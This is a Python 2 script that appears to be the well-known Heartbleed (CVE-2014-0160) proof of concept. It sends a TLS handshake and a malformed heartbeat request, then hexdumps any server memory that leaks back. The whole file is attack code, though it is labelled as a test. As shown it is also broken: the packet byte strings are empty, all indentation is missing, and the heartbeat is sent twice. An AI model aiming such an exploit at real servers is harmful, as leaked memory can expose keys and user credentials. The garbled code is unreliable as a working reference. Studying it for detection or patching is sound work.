import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin(
)
hb = h2bin(
)
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
